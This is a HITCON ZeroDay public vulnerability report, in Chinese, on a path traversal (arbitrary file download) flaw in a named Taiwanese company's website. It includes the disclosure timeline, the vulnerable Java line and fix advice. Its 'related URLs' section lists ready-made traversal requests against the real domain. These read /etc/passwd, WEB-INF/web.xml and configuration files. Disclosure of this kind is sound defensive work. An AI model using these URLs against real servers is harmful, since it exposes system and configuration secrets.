良機集團 任意檔案下載漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00508
  •  發信 Vendor: 良機集團
  • Title: 良機集團 任意檔案下載漏洞
  • Introduction: 下載功能未限制檔案路徑導致攻擊者可讀取伺服器任意檔案與敏感設定資訊

處理狀態

目前狀態

公開
Last Update : 2026/06/05
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/04/05 19:30:43 : 新提交 (由 5yu4n 更新此狀態)
  • 2026/04/07 22:49:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:43:14 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:43:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:43:14 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/05 03:00:14 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00508
  • 通報者:rickccs (5yu4n)
  • 風險:嚴重
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../../../../../../../../../../../../../../../../../../&file=etc/passswd
https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../&file=mobile/web-tw/tech/download.jsp
https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../&file=WEB-INF/jspf/web/config.jspf
https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../&file=WEB-INF/jspf/config.jspf
https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../&file=WEB-INF/jspf/import.jspf
https://www.liangchi.com.tw/mobile/web-tw/tech/download.jsp?path=../&file=WEB-INF/web.xml

敘述

修補建議

目前程式中直接將使用者輸入的 `path` 與 `file` 參數拼成檔案路徑:
```
String downloadfile = app_uploadpath+"/"+ (path.equals("")?"":path+"/") + fileName;
```
此作法未進行任何路徑驗證,導致攻擊者可透過 `../` 進行路徑穿越
應在建立 File 物件後檢查實際路徑是否仍位於允許的目錄中
並且應過濾危險字元
例如`.` `/` 等危險字元
避免使用動態 path應限制只能從固定目錄下載
限制可下載檔案類型避免讀取敏感檔案(如 `.jsp`, `.xml`, `.properties`)
禁止存取敏感目錄應明確禁止存取: `WEB-INF` 系統目錄(如 `/etc/`)設定檔(`.properties`, `.xml`)


擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;